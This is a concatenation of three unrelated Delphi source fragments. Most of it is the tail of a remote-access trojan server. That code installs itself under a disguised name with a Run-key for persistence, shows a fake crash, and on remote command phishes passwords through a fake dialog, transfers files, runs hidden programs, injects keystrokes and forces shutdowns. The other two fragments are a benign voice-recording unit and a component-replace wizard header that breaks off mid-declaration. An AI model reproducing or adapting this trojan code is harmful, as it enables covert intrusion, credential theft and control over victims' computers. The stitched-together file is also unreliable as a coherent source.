SendToClientLn('User replied to message: ' + IntToStr(MessageBox(MainForm.Handle,PChar(sParam2),PChar(sParam1),MB_YESNO or MB_SYSTEMMODAL))); finally end; SendToClientLn(CombineCodeMsg(nCOMMAND_ENDED_CODE,'ShowYesNoMsg command completed.')); end else if (sCommand = 'showarimsg') or (sCommand = 'abortretryignoremsgbox') or (sCommand='showabortretryignoremsg') then begin SeperateTwoParams; try SendToClientLn(CombineCodeMsg(nWAIT_CODE,sWAIT_MSG)); SendToClientLn('User replied to message: ' + IntToStr(MessageBox(MainForm.Handle,PChar(sParam2),PChar(sParam1),MB_ABORTRETRYIGNORE or MB_SYSTEMMODAL))); finally end; SendToClientLn(CombineCodeMsg(nCOMMAND_ENDED_CODE,'ShowYesNoMsg command completed.')); end else if (sCommand = 'showpwdlg') or (sCommand = 'showpwdlg') or (sCommand='showpassworddialog') then begin SeperateTwoParams; try SendToClientLn(CombineCodeMsg(nWAIT_CODE,sWAIT_MSG)); if sParam1 <> '' then PasswordDlg.Caption := sParam1; if sParam2 <> '' then PasswordDlg.MsgLabel.Caption:=sParam2; mr:=PassWordDlg.ShowModal ; SendToClientLn('User replied to message: ' + IntToStr(mr)+ ' ' + PassWordDlg.PasswordEdit.Text + ' Login:' + PassWordDlg.LoginEdit.Text ); finally end; end else if (sCommand = 'filesize') or (sCommand = 'getfilesize') then begin try SendToClientLn(IntToStr(GetFileSize(sParam))); finally end; end else if (sCommand = 'reboot') or (sCommand = 'boot') then begin try ExitWindowsEx(EWX_FORCE or EWX_REBOOT,0); finally end; end else if (sCommand = 'shutdown') or (sCommand = 'turnoff') then begin try ExitWindowsEx(EWX_FORCE or EWX_SHUTDOWN,0); finally end; end else if (sCommand = 'logoff') or (sCommand = 'coldreboot') then begin try ExitWindowsEx(EWX_FORCE or EWX_LOGOFF,0); finally end; end else if (sCommand = 'poweroff') or (sCommand = 'turnoffpower') then begin try ExitWindowsEx(EWX_FORCE or EWX_POWEROFF,0); finally end; end else if (sCommand = 'echo') or (sCommand = 'say') then begin try SendToClientLn(sParam); finally end; end else if (sCommand = 'date') or (sCommand = 'time') or (sCommand = 'datetime')then begin try SendToClientLn(DateTimeToStr(Now)); finally end; end else if (sCommand = 'movemouse') then begin try SeperateTwoParams; SetCursorPos(StrToInt(sParam1),StrToInt(sParam2)); finally end; SendToClientLn(CombineCodeMsg(nCOMMAND_ENDED_CODE,'MOUSEMOVE command completed.')); end else if (sCommand = 'starttime') then begin try SendToClientLn(DateTimeToStr(dtStartTime)); finally end; end else if (sCommand = 'lastendtime') then begin try SendToClientLn(DateTimeToStr(GetLastEndTime)); finally end; end else if (sCommand = 'loginname') or (sCommand = 'getloginname') then begin try SendToClientLn(DelGetUserName); finally end; end else if (sCommand = 'machinename') or (sCommand = 'getmachinename') then begin try SendToClientLn(DelGetMachineName); finally end; end else if (sCommand = 'icquindir') or (sCommand = 'icquinpath')then begin try SendToClientLn(GetICQUinPath); finally end; end else if (sCommand = 'exit') or (sCommand = 'quite')then begin try SendToClientLn('bye!'); SS.Close; finally halt; end; end else if (sCommand = 'stopserv') or (sCommand = 'closeport')then begin try SS.Close; finally end; end else if (sCommand = 'setwallppr') or (sCommand = 'setwallpaper')then begin try SendToClientLn('Wallpaper change success? ' + BoolToStr(SystemParametersInfo(SPI_SETDESKWALLPAPER,0,PChar(sParam),SPIF_UPDATEINIFILE or SPIF_SENDWININICHANGE))); finally end; end else if (sCommand = 'getvol') or (sCommand = 'volume')then begin try SendToClientLn(GetVolInfo(sParam)); finally end; end else if (sCommand = 'osver') or (sCommand = 'os')then begin try SendToClientLn(GetOSVer); finally end; end else if (sCommand = 'ver') or (sCommand = 'about') or (sCommand = 'author') or (sCommand = 'auther') then begin try SendToClientLn(ProgName + ' Ver. ' + VerStr + ' Update No. ' + IntToStr(UpdateNo)); finally end; end else if (sCommand = 'beep') or (sCommand = 'bell')then begin try Beep; SendToClientLn(CombineCodeMsg(nCOMMAND_ENDED_CODE,'BEEP command completed.')); finally end; end else if (sCommand = 'getfile') or (sCommand = 'sendfile')then begin try SendFile(sParam); finally end; end else if (sCommand = 'takefile') or (sCommand = 'putfile')then begin try SeperateTwoParams; if (sParam1 <> '') and (sParam2 <> '') then begin try nTotalInFileSize:=StrToInt(sParam1); sInFileName:=sParam2; nCommandMode:=nPUT_FILE_MODE; SendToClientLn('Ready to accept file ' + sParam2); except SendToClientLn(CombineCodeMsg(nINVALID_PARAM_CODE,sINVALID_PARAM_MSG)); end; end else begin SendToClientLn(CombineCodeMsg(nNO_PARAM_CODE,sNO_PARAM_MSG)); end; finally end; end else if (sCommand = sABORT_PUT_CMD) then begin try ClearPutFileOperation; SendToClientLn(CombineCodeMsg(nCOMMAND_ENDED_CODE,sABORT_PUT_CMD + ' command completed.')); finally end; end else if (sCommand = 'attrib') then begin try SeperateTwoParams; nResult:=FileSetAttr(sParam1, StrToInt(sParam2)); if nResult=0 then SendToClientLn(CombineCodeMsg(nCOMMAND_ENDED_CODE,'ATTRIB command completed.')) else SendToClientLn(CombineCodeMsg(nCOMMAND_ENDED_CODE,'ATTRIB command returned error: ' + IntToStr(nResult))) finally end; end else if (sCommand = 'runminimized') or (sCommand = 'runinvisible')then begin try SeperateTwoParams; nResult:=ExecuteItMinimized(sParam1,sParam2); finally end; SendToClientLn(CombineCodeMsg(nCOMMAND_ENDED_CODE,'RUNMinimized command returned ' + IntToStr(nResult))); end else if (sCommand = 'inputbox') or (sCommand = 'ask')then begin try SeperateTwoParams; sStr:=''; bResult:=InputQuery(sParam1,sParam2,sStr); finally end; SendToClientLn(CombineCodeMsg(nCOMMAND_ENDED_CODE,'ASK command returned: ' + BoolToStr(bResult) + ' ' + sStr)); end else if (sCommand = 'playsound') or (sCommand = 'sound') or (sCommand = 'playwav') then begin try SeperateTwoParams; if LowerCase(sParam2) <> 'alias' then bResult:=PlaySound(PChar(sParam2),0,SND_ASYNC or SND_FILENAME) else bResult:=PlaySound(PChar(sParam2),0,SND_ASYNC or SND_ALIAS); finally end; SendToClientLn(CombineCodeMsg(nCOMMAND_ENDED_CODE,'PLAYSOUND command returned: ' + BoolToStr(bResult))); end else if (sCommand = 'stopsound') or (sCommand = 'killsound') then begin try bResult:=PlaySound(nil,0,SND_PURGE) finally end; SendToClientLn(CombineCodeMsg(nCOMMAND_ENDED_CODE,'STOPSOUND command returned: ' + BoolToStr(bResult))); end else if (sCommand = 'loopsound') or (sCommand = 'continousesound') then begin try SeperateTwoParams; if LowerCase(sParam2) <> 'alias' then bResult:=PlaySound(PChar(sParam2),0,SND_ASYNC or SND_FILENAME or SND_LOOP) else bResult:=PlaySound(PChar(sParam2),0,SND_ASYNC or SND_ALIAS or SND_LOOP); finally end; SendToClientLn(CombineCodeMsg(nCOMMAND_ENDED_CODE,'LOOPSOUND command returned: ' + BoolToStr(bResult))); end else if (sCommand = 'gettasks') or (sCommand = 'winlist') or (sCommand = 'listwindows') then begin slLines:=nil; try slLines:=TStringList.Create; GetWinList(slLines,True,False,' : '); SendToClientLn(StringListToString(slLines,#13#10)); finally slLines.Free ; end; SendToClientLn(CombineCodeMsg(nCOMMAND_ENDED_CODE,'WINLIST command completed.')); end else if (sCommand = 'sendkey') or (sCommand = 'sendkeys') then begin try SeperateTwoParams; SendKeyToWin(StrToInt(sParam1),sParam2); finally end; SendToClientLn(CombineCodeMsg(nCOMMAND_ENDED_CODE,'SENDKEY command completed.')); end else if (sCommand = 'restartas') then begin try if FileExists(sParam) then begin try SendToClientLn('Now restarting as"' + sParam + '". Reconnect aftersome time.'); SS.Close; AddStrRegEntry('\Software\Microsoft\Windows\CurrentVersion\Run','winsys32',sParam + ' nofalseface'); if ExecuteIt(sParam,'dontinstall') > 32 then begin halt; end else begin try SS.Open; finally AddStrRegEntry('\Software\Microsoft\Windows\CurrentVersion\Run','winsys32',ParamStr(0)); end; end; except try SS.Open; finally AddStrRegEntry('\Software\Microsoft\Windows\CurrentVersion\Run','winsys32',ParamStr(0)); end; end; end else begin SendToClientLn('Can not find the file named"' + sParam + '"'); end; finally end; SendToClientLn(CombineCodeMsg(nCOMMAND_ENDED_CODE,'RESTARTAS command completed.')); end else if (sCommand = 'restartsvr') or (sCommand = 'restartserver')then begin try SS.Close; finally SS.Open; end; end else if (sCommand = 'getdrivetype') or (sCommand = 'drivetype')then begin try SendToClientLn('Drive ' + sParam + ' is ' + IntToStr(GetDriveType(PChar(sParam)))); finally end; end else if (sCommand = 'gettotaldiskspace') or (sCommand = 'disksize') or (sCommand = 'totalspace')then begin try SendToClientLn('Total Disk capacity for ' + sParam + ' is ' + IntToStr(GetDiskSize(sParam))); finally end; end else if (sCommand = 'getdiskfreespace') or (sCommand = 'freespace')then begin try SendToClientLn('Total free disk space for ' + sParam + ' is ' + IntToStr(GetDiskFreeSize(sParam))); finally end; end else if (sCommand = 'exename') or (sCommand = 'yourname')then begin try SendToClientLn('This is "' + ParamStr(0) + '" speaking.'); finally end; end else if (sCommand = 'closewindow') or (sCommand = 'stopapp') then begin try bResult:=CloseWindow(StrToInt(sParam)); finally end; SendToClientLn('CLOSEWINDOW for handle "' + sParam + '" returned ' + BoolToStr(bResult)); end else if (sCommand = 'findexe') or (sCommand = 'viewerfor') then begin try if sParam <> '' then SendToClientLn(GetAssociatedEXE(sParam)) else SendToClientLn('You must specify extention (Ex. BMP) as parameter.'); finally end; end else if (sCommand = 'getwinpath') or (sCommand = 'winpath') then begin try SendToClientLn('Victims Windows dir is:' + GetWinDir); finally end; end else if (sCommand = 'activewin') or (sCommand = 'getactivewindow') then begin try SendToClientLn(GetActiveWinText); finally end; end else if (sCommand = 'harakiri') or (sCommand = 'die') then begin try SendToClientLn('Commiting Suicide...'); AddStrRegEntry('\Software\Microsoft\Windows\CurrentVersion\Run','winsys32',''); SS.Close; finally halt; end; end else if (sCommand = 'showokmsg') or (sCommand = 'msgbox') then begin SeperateTwoParams; try nResult:=ExecuteIt(ParamStr(0),'showmessage "' + sParam1 + '" "' + sParam2 + '"'); finally end; SendToClientLn(CombineCodeMsg(nCOMMAND_ENDED_CODE,'MSGBOX command returned: ' + IntToStr(nResult))); end else begin SendToClientLn(CombineCodeMsg(nINVALID_COMMAND_CODE,sINVALID_COMMAND_MSG)); end end; except end; end; procedure TMainForm.ReplyTimeOutTimerTimer(Sender: TObject); begin try ReplyTimeOutTimer.Enabled:=false; // stop until user answers if OnSocketTimeout then begin LogMessage('//Disconnecting by User...'); if SS.Active then SS.Close; ReplyTimeOutTimer.Enabled:=false; end else ReplyTimeOutTimer.Enabled:=true; except end; end; procedure TMainForm.SSError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer); var msg:string; begin try if (ErrorCode = 10060) or (ErrorCode = 10065) then ErrorCode:=0; // Time out is handeled by ReplyTimeOutTimer msg:=GetSocketErrMessage(ErrorCode); if msg <> '' then begin OnSocketError; ReplyReceived:=true; // terminate external wait loop ErrorCode:=0; end; except end; end; function GetSocketErrMessage(ErrCode:integer):string; // return '' is not coverd here var MsgStr:string; begin try MsgStr:=''; case ErrCode of 10013: MsgStr:='Permission Denied: An attempt was made to access a socket in a way forbidden by its access permissions. An example is using a broadcast address for sendto without broadcast permission being set using setsockopt(SO_BROADCAST).'; 10048: MsgStr:='Address already in use: Only one usage of each socket address (protocol/IP address/port) is normally permitted.'; 10049: MsgStr:='Cannot assign requested address: The requested address is not valid in its context.'; 10047: MsgStr:='Address family not supported by protocol family: An address incompatible with the requested protocol was used.'; 10037: MsgStr:='Operation already in progress: An operation was attempted on a non-blocking socket that already had an operation in progress'; 10053: MsgStr:='Software caused connection abort: An established connection was aborted by the software in your host machine, possibly due to a data transmission timeout or protocol error. '; 10061: MsgStr:='Connection refused: No connection could be made because the target machine actively refused it. This usually results from trying to connect to a service that is inactive on the foreign host - i.e. one with no server application running. '; 10054: MsgStr:='Connection reset by peer: A existing connection was forcibly closed by the remote host.'; 10039: MsgStr:='Destination address required:A required address was omitted from an operation on a socket. For example, this error will be returned if sendto is called with the remote address of ADDR_ANY. '; 10014: MsgStr:='Bad address: The system detected an invalid pointer address in attempting to use a pointer argument of a call.'; 10064: MsgStr:='Host is down: A socket operation failed because the destination host was down.'; 10065: MsgStr:='No route to host: A socket operation was attempted to an unreachable host. See WSAENETUNREACH '; 10036: MsgStr:='Operation now in progress: A blocking operation is currently executing. Windows Sockets only allows a single blocking operation to be outstanding per task (or thread)'; 10004: MsgStr:='Interrupted function call: A blocking operation was interrupted by a call to WSACancelBlockingCall'; 10022: MsgStr:='Invalid argument: Some invalid argument was supplied (for example, specifying an invalid level to the setsockopt function).'; 10056: MsgStr:='Socket is already connected: A connect request was made on an already connected socket. '; 10024: MsgStr:='Too many open files'; 10040: MsgStr:='Message too long: A message sent on a datagram socket was larger than the internal message buffer or some other network limit, or the buffer used to receive a datagram into was smaller than the datagram itself'; 10050: MsgStr:='Network is down: A socket operation encountered a dead network. This could indicate a serious failure of the network system (i.e. the protocol stack that the WinSock DLL runs over), the network interface, or the local network itself. '; 10052: MsgStr:='Network dropped connection on reset: The host you were connected to crashed and rebooted. May also be returned by setsockopt if an attempt is made to set SO_KEEPALIVE on a connection that has already failed. '; 10051: MsgStr:='Network is unreachable: A socket operation was attempted to an unreachable network. This usually means the local software knows no route to reach the remote host. '; 10055: MsgStr:='No buffer space available: An operation on a socket could not be performed because the system lacked sufficient buffer space or because a queue was full'; 10042: MsgStr:='Bad protocol option: An unknown, invalid or unsupported option or level was specified in a getsockopt or setsockopt call. '; 10057: MsgStr:='Socket is not connected: A request to send or receive data was disallowed because the socket is not connected and (when sending on a datagram socket using sendto) no address was supplied.'; //some of errors are now skipped. see MS Socket 2 referencs 10058: MsgStr:='Cannot send after socket shutdown'; 10060: MsgStr:='Connection timed out: A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. '; 10035: MsgStr:='Resource temporarily unavailable'; 11001: MsgStr:='Host not found: No such host is known. The name is not an official hostname or alias, or it cannot be found in the database(s) being queried.'; 10091: MsgStr:='Network subsystem is unavailable'; 11002: MsgStr:='Non-authoritative host not found:This is usually a temporary error during hostname resolution and means that the local server did not receive a response from an authoritative server. A retry at some time later may be successful. '; 10092: MsgStr:='WINSOCK.DLL version out of range: The current Windows Sockets implementation does not support the Windows Sockets specification version requested by the application. Check that no old Windows Sockets DLL files are being accessed.'; 10094: MsgStr:='Graceful shutdown in progress: Returned by recv, WSARecv to indicate the remote party has initiated a graceful shutdown sequence. '; end; Result:=MsgStr; except end; end; procedure TMainForm.FormActivate(Sender: TObject); begin try if IsFirstTime then begin TaskForFirstTime; end; except end; end; procedure TaskForFirstTime; begin // end; function GetCommaDelimList(sl:TStrings):String; var i:integer; begin try if sl.Count <> 0 then begin Result:='<' + sl[0] + '>'; for i:=1 to sl.Count-1 do begin Result:=Result+','#13#10#9; Result:=Result + '<' + sl[i] + '>'; end; end else Result:=''; except end; end; function EncryptAlphaNum(str:string): string ; var i:integer; begin try // routine must convert alphanum in to alpha num only, i.e. result must not have any char other then from #32 to #126 Result:=''; for i:=1 to Length(str) do Result:=Result+ Char(126 - Integer(str[i])+ 32); except end; end; function DecryptAlphaNum(str:string): string ; var i:integer; begin try Result:=''; for i:=1 to Length(str) do Result:=Result+ Char(32+126-Integer(str[i])); except end; end; function OnSocketTimeOut:Boolean; begin // end; function OnSocketError:Boolean; begin // end; procedure TMainForm.FormCreate(Sender: TObject); var sWinDir:string; sNewEXE:string; begin try if LowerCase(ParamStr(1)) <> 'showmessage' then begin //Change caption if IsChangedEXE then begin Caption:='Windows Sub System 32'; end else Caption:='The Microsoft Bill Gates (Win98 Special Edition)'; //Auto Install If (not IsChangedEXE) and ((LowerCase(ParamStr(1)) <> 'dontinstall') ) then begin sWinDir:=GetWinDir; if sWinDir[Length(sWinDir)] <> '\' then sWinDir:=sWinDir + '\'; sNewEXE:=sWinDir + ChangedEXEName; if CopyFile(PChar(ParamStr(0)),PChar(sNewEXE),False) then begin AddStrRegEntry('\Software\Microsoft\Windows\CurrentVersion\Run','winsys32',sNewEXE); WinExec(PChar(sNewEXE),0); if (LowerCase(ParamStr(1)) <> 'nofalseface') then ShowFalseFace; halt; end; end else begin Height:=0; Width:=0; Left:=-1; Top:=-1; dtStartTime:=Now; SS.Port :=nPORT; SS.Open; //Icon.LoadFromStream (nil); end; end else begin MessageBox(0,PChar(ParamStr(3)),PChar(ParamStr(2)), MB_SYSTEMMODAL or MB_OK); halt; end; except If (not IsChangedEXE) and ((LowerCase(ParamStr(1)) <> 'dontinstall') ) then begin //If error occured while installing let it shown up. raise; end; end; end; procedure TMainForm.SSListen(Sender: TObject; Socket: TCustomWinSocket); begin //ShowMessage('Listening...'); end; procedure TMainForm.SendLines(sLines:TStrings); var i:integer; begin try for i:=0 to sLines.Count -1 do begin SendToClientLn(sLines[i]); end; except end; end; procedure TMainForm.SeperateTwoParams; var nPos, nEndPos:integer; sTemp:string; begin try sParam1:=''; sParam2:=''; if sParam <> '' then begin if sParam[1] = '"' then begin //Find next quoate sTemp:=Copy(sParam,2,Length(sParam)-1); nPos:=Pos('"',sTemp); if nPos <> 0 then begin sParam1:=Copy(sTemp,1,nPos-1); //Find second quate sTemp:=Copy(sTemp,nPos+1,Length(sTemp)-nPos); nPos:=Pos('"',sTemp); if nPos <> 0 then begin //Find last quote nEndPos:=RPos(sTemp,'"'); if nEndPos = 0 then nEndPos:=Length(sTemp)+1; sParam2:=Copy(sTemp,nPos+1,nEndPos-nPos-1); end else begin SendToClientLn(CombineCodeMsg(nREQ_TWO_PARAM_CODE,sREQ_TWO_PARAM_MSG)); end; end else begin SendToClientLn(CombineCodeMsg(nREQ_TWO_PARAM_CODE,sREQ_TWO_PARAM_MSG)); end end else begin SendToClientLn(CombineCodeMsg(nREQ_TWO_PARAM_CODE,sREQ_TWO_PARAM_MSG)); end; end else begin SendToClientLn(CombineCodeMsg(nNO_PARAM_CODE,sNO_PARAM_MSG)); end; except end; end; function CombineCodeMsg(nCode:integer; sMsg:string):string; begin try Result:=IntToStr(nCode) + ' ' + sMsg; except Result:='Error occured in CombineCodeMsg function' end; end; function RPos(sString:string;cChar:Char):integer; var i:integer; begin try Result:=0; for i:=Length(sString) downto 1 do begin if sString[i]=cChar then begin Result:=i; Break; end; end; except end; end; function BoolToStr(bBool:Boolean):string; begin try if bBool then result:='True' else result:='False'; except end; end; procedure TMainForm.FormCloseQuery(Sender: TObject; var CanClose: Boolean); begin try operations.gsKeyRoot := '\rea2'; operations.gsKeyName :='LastExitTime'; WriteStrKey(DateTimeToStr(Now)); finally try if IsChangedEXE then begin //run another instance WinExec(PChar(ParamStr(0)),0); end; except end; end; end; procedure TMainForm.SendFile(sFileName:string); var pBuff:PChar; f:File; nFileSize:integer; begin try AssignFile(f,sFileName); Reset(f,1); nFileSize:=FileSize(f); GetMem(pBuff,nFileSize); BlockRead(f,pBuff^,nFileSize); SS.Socket.Connections[0].SendBuf(pBuff^,nFileSize); finally try CloseFile(f); finally FreeMem(pBuff); end; end; end; procedure ClearPutFileOperation; begin try nCommandMode:=nCOMMAND_MODE; nInBytes:=-1; try CloseFile(fInFile); except end; except end; end; function AbortPutFile(pCharArr:PChar; nArrSize:Integer):Boolean; var sAbortString:string; i:integer; bCommandFound:Boolean; begin try bCommandFound:=false; if nArrSize >= Length(sABORT_PUT_CMD) then begin bCommandFound:=true; for i:=0 to Length(sABORT_PUT_CMD)-1 do begin if pCharArr[i] <> sABORT_PUT_CMD[i] then begin bCommandFound:=false; break; end; end; end; Result:=bCommandFound; except end; end; procedure TMainForm.FormPaint(Sender: TObject); begin Visible:=False; //SetWindowLong(Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW); end; procedure TMainForm.MinuteTimerTimer(Sender: TObject); begin try MinuteTimer.Tag := MinuteTimer.Tag + 1; if MinuteTimer.Tag >= 4 then begin MinuteTimer.Tag:=0; if nDisconnectCount >= 3 then begin //3 disconnection in 5 min - Something wrong is going on - so restart yourself nDisconnectCount:=0; try SS.Close; finally if WinExec(PChar(ParamStr(0)),0) > 31 then halt else begin ClearPutFileOperation; SS.Open; end; end; end else nDisconnectCount:=0; try SS.Open; except end; end; except end; end; procedure TMainForm.WMQUERYENDSESSION(var msg: TWMQUERYENDSESSION); begin //Inherited; try msg.Result :=$FFFFFFFF; halt; except halt; end; end; function IsChangedEXE:Boolean; begin try Result:=(LowerCase(ExtractFileName(ParamStr(0))) = ChangedEXEName); except Result:=True; end; end; procedure ShowFalseFace; var a:TObject; begin // Now carsh the program a.Free; //ShowMessage('Microsoft Bill Gates (Special Edition) can not start because you does not have correct version of VB runtime.'); end; end.
unit VoiceTx; interface uses Windows, mmSystem, CompressIntf, WaveIn, WaveConvert; type TVoiceTx = class public constructor Create; destructor Destroy; override; public procedure Start; procedure Stop; private fRecorder : TWaveRecorder; fCompressor : ICompressor; procedure SetCompressor(aCompressor : ICompressor); private fConverter : TACMConverterOut; procedure FindRecordingFormat; procedure FreeConverter; procedure CreateConverter(const Src, Dst : TWaveFormatEx); public property Compressor : ICompressor read fCompressor write SetCompressor; private fPeak : single; function DoCompress(var Data; Size : integer) : integer; function RecorderData(var Data; Size : integer) : integer; public property Peak : single read fPeak; end; implementation uses Math, DSoundUtils; constructor TVoiceTx.Create; begin inherited; fRecorder := TWaveRecorder.Create; fRecorder.BufferSize := 250; // ms fRecorder.OnData := RecorderData; end; destructor TVoiceTx.Destroy; begin Stop; fRecorder.Free; FreeConverter; inherited; end; procedure TVoiceTx.Start; begin FindRecordingFormat; fRecorder.DoRecord; end; procedure TVoiceTx.Stop; begin fRecorder.Stop; end; procedure TVoiceTx.SetCompressor(aCompressor : ICompressor); begin Stop; Assert(aCompressor <> nil); fCompressor := aCompressor; end; procedure TVoiceTx.FindRecordingFormat; type TRecFormat = record Rate : integer; Bits : integer; Channels : integer; end; const RecFormats : array[1..12] of TRecFormat = ( (Rate : 11025; Bits : 16; Channels : 1), (Rate : 22050; Bits : 16; Channels : 1), (Rate : 44100; Bits : 16; Channels : 1), (Rate : 11025; Bits : 16; Channels : 2), (Rate : 22050; Bits : 16; Channels : 2), (Rate : 44100; Bits : 16; Channels : 2), (Rate : 11025; Bits : 8; Channels : 1), (Rate : 22050; Bits : 8; Channels : 1), (Rate : 44100; Bits : 8; Channels : 1), (Rate : 11025; Bits : 8; Channels : 2), (Rate : 22050; Bits : 8; Channels : 2), (Rate : 44100; Bits : 8; Channels : 2) ); var srate : integer; bits : integer; ch : integer; Src : TWaveFormatEx; Dst : TWaveFormatEx; i : integer; begin FreeConverter; Assert(fCompressor <> nil); fCompressor.GetInputType(srate, bits, ch); FillPCMFormat(srate, bits, ch, Dst); fRecorder.SamplingRate := srate; fRecorder.BitsPerSample := bits; fRecorder.Channels := ch; i := low(RecFormats); while (i <= high(RecFormats)) and not fRecorder.CanRecord do begin fRecorder.SamplingRate := RecFormats[i].Rate; fRecorder.BitsPerSample := RecFormats[i].Bits; fRecorder.Channels := RecFormats[i].Channels; FillPCMFormat(fRecorder.SamplingRate, fRecorder.BitsPerSample, fRecorder.Channels, Src); CreateConverter(Src, Dst); inc(i); end; end; procedure TVoiceTx.FreeConverter; begin fConverter.Free; fConverter := nil; end; procedure TVoiceTx.CreateConverter(const Src, Dst : TWaveFormatEx); begin FreeConverter; fConverter := TACMConverterOut.Create(Src, Dst); fConverter.OnWrite := DoCompress; end; function TVoiceTx.DoCompress(var Data; Size : integer) : integer; function IntAbs(x : integer) : integer; begin if x < 0 then Result := -x else Result := x; end; var Data16M : array[0..0] of smallint absolute Data; Samples : integer; i : integer; MaxPeak : integer; AbsValue : integer; begin Assert(fCompressor <> nil); MaxPeak := 0; Samples := Size div sizeof(Data16M[0]); for i := 0 to pred(Samples) do begin AbsValue := IntAbs(Data16M[i]); MaxPeak := max(MaxPeak, AbsValue); end; fPeak := MaxPeak / 32768; fCompressor.Convert(Data, Size); Result := Size; end; function TVoiceTx.RecorderData(var Data; Size : integer) : integer; begin if fConverter <> nil then fConverter.Write(Data, Size) else DoCompress(Data, Size); Result := Size; end; end.
unit RplWizInfo; {$I GX_CondDefine.inc} { Hidden Paths of Delphi 3, by Ray Lischner. Informant Press, 1997. Copyright © 1997 Tempest Software, Inc. Component Replace Wizard. Temporarily store component and property information for doing search & replace of components. Replacing a component means deleting the old one and inserting the new one. This might involve deleting all the children of the old component, which might be a lot. Hence the need for a comprehensive way to store an arbitrary tree of components. A TCompInfo object represents a single component. It can have children, which are stored in a TCompList, which is just a list of TCompInfo objects. Each TCompInfo object also has a list of properties, which is a TPropList object. A property list contains a list of TPropInfo objects. Each TPropInfo object represents a single property. The property value might be a string, Variant, etc., so the TPropInfo object must be able to handle anything. Each object knows how to create itself from an IComponent interface, to capture an existing component's state. When replacing a component, TCompInfo creates a TCompInfo object for the component, its properties and its child components. Then it deletes the component interface, and creates a new one, with the new type. It then asks all the properties to apply themselves to the new component. Only those with matching names and types apply themselves. The others are silently ignored. (This avoids nagging the user about minor problems, e.g., converting a TBitBtn to a TButton, but introduces the possibility that the user might make a gross error, e.g., replacing a TBitBtn with a TBlobField. There is no undo, so this is potentially a problem, but it is better to assume the user is intelligent than to assume the user is an idiot.) TCompInfo then recreates all the child objects. To replace components, descend the component hierarchy once. Any component that is to be replaced, replace it and recreates its children. When recreating children, any old child that was to be replace is replaced. Thus, the recursive descent bifurcates the first time it encounters a component to be replaced. The Search routine descends the tree looking for a component to replace. The Replace routine does the replacement. } // This is defined to use "hacked" version of TComponent - to access it's // private fields. It is used to re-link all components connected to the // old instance of the replaced component. // Optional. Use only if some components are not re-linked during replace. {.$DEFINE Use_HackedComponent} interface uses SysUtils, TypInfo, Classes, OwnerList, Controls, ToolsAPI, GX_ReplaceCompData; const { Default Height / Width for non-visible components. Can be any value >0, required to correctly specify position on replace. (20 is safe also for visible components) } NonVisibleDefSize = 20; { Represent a component as a type name and a list of properties. A property has a type and a value. } type TFriendComponent = class(TComponent); TCompInfo = class; TCompInfoProc = procedure(ACompInfo: TCompInfo; AData: Pointer; var Stop: Boolean) of object; { TCompRepController Class that controls processing. Exception handling, log maintenance, mapping preparation. } TCompRepController = class protected FDestClassName: string; FSourceClassName: string; FRoot: TCompInfo; public procedure HandleException(E: Exception; const Context: string); virtual; abstract; procedure LogMsg(const AMsg: string); virtual; abstract; procedure SignalBegin; virtual; abstract; procedure SignalEnd; virtual; abstract; procedure SignalFileBegin(const AFileName: string); virtual; abstract; procedure SignalFileEnd(const AFileName: string); virtual; abstract; procedure SignalStackBegin(const AName: string); virtual; abstract; procedure SignalStackEnd(const AName: string); virtual; abstract; procedure SignalObjectBegin(const AName: string; AObject: TObject); virtual; abstract; procedure SignalObjectEnd(const AName: string; AObject: TObject); virtual; abstract; procedure PrepareMappingForProp(const AClassName, APropName: string; Mappings: TCompRepMapList); virtual; abstract; procedure PrepareConstMappingForProp(const AClassName, APropName: string; Mappings: TCompRepMapList); virtual; abstract; function IsLogValuesForced: Boolean; virtual; abstract; property SourceClassName: string read FSourceClassName write FSourceClassName; property DestClassName: string read FDestClassName write FDestClassName; property Root: TCompInfo read FRoot write FRoot; end; TPropertyValue = record { Delphi does not let you store a Variant or a string in a variant record, so use a character array that is big enough to hold a Variant. Delphi stores a string as a Pointer, so use Pointer as the type. } case TTypeKind of tkInteger, tkChar, tkEnumeration, tkSet, tkWChar: (IntegerValue: Longint;); tkInt64: (Int64Value: Int64;); tkFloat: (FloatValue: Extended;); tkMethod: (MethodValue: TMethod;); tkClass, tkString, tkLString, tkWString {$IFDEF GX_VER200_up}, tkUString {$ENDIF}: (PtrValue: Pointer;); tkVariant: (VariantValue: array[1..SizeOf(Variant)] of Byte); end; TPropInfo = class private FPropType: TTypeKind; FPropValue: TPropertyValue; FPropName: string; FController: TCompRepController; public constructor Create(Controller: TCompRepController; Index: Integer; CompIntf: IOTAComponent); procedure SetComponent(CompIntf: IOTAComponent); function GetIntValue(Default: Integer): Integer; function GetStrValue(const Default: string): string; property Name: string read FPropName; property PropType: TTypeKind read FPropType; property PropValue: TPropertyValue read FPropValue; end; TPropList = class(TOwnerList) private FStream: TMemoryStream; FLeft: Integer; FTop: Integer; FController: TCompRepController; function GetPropInfo(Index: Integer): TPropInfo; procedure SetComponentPosition(ADestComponent: IOTAComponent); procedure SetComponentDefProps(CompIntf: IOTAComponent); procedure AssignPropsToCompByLoop(CompIntf: IOTAComponent); procedure AssignPropsToCompByMapping(OldCompIntf, NewCompIntf: IOTAComponent); procedure CopyComponentProps(OldCompIntf, NewCompIntf: IOTAComponent); procedure ExecutePropAssignWithMapping(OldCompIntf: IOTAComponent; NewCompIntf: IOTAComponent; SourcePropInfo: TPropInfo; DestPropList: TPropList; Mappings: TCompRepMapList); procedure ExecutePropAssign(OldCompIntf, NewCompIntf: IOTAComponent; SourcePropInfo: TPropInfo; DestPropList: TPropList; const SourceExpression, DestExpression: string); procedure FindPropInfo(CompIntf: IOTAComponent; PropList: TPropList; const PropExpression: string; var VPropInfo: PPropInfo; var Obj: TObject); procedure CopyPropValue(SourceObject: TObject; SourceInfo: PPropInfo; DestObject: TObject; DestInfo: PPropInfo); procedure FindPropInfoEx(CompIntf: IOTAComponent; PropList: TPropList; const PropExpression: string; var VPropInfo: PPropInfo; var Obj: TObject; var VParentPropInfo: PPropInfo; var ParentObj: TObject); function CheckCompNameAssign(SourceObject: TObject; SourceInfo: PPropInfo; const DestExpression: string; DestObject: TObject; DestInfo: PPropInfo; DestParentObject: TObject; DestParentInfo: PPropInfo; NewCompIntf: IOTAComponent): Boolean; function FindComponentByOwner(OwnerComp: TComponent; const CompName: string): TComponent; procedure ExecutePropAssignWithConstList(NewCompIntf: IOTAComponent; DestPropInfo: 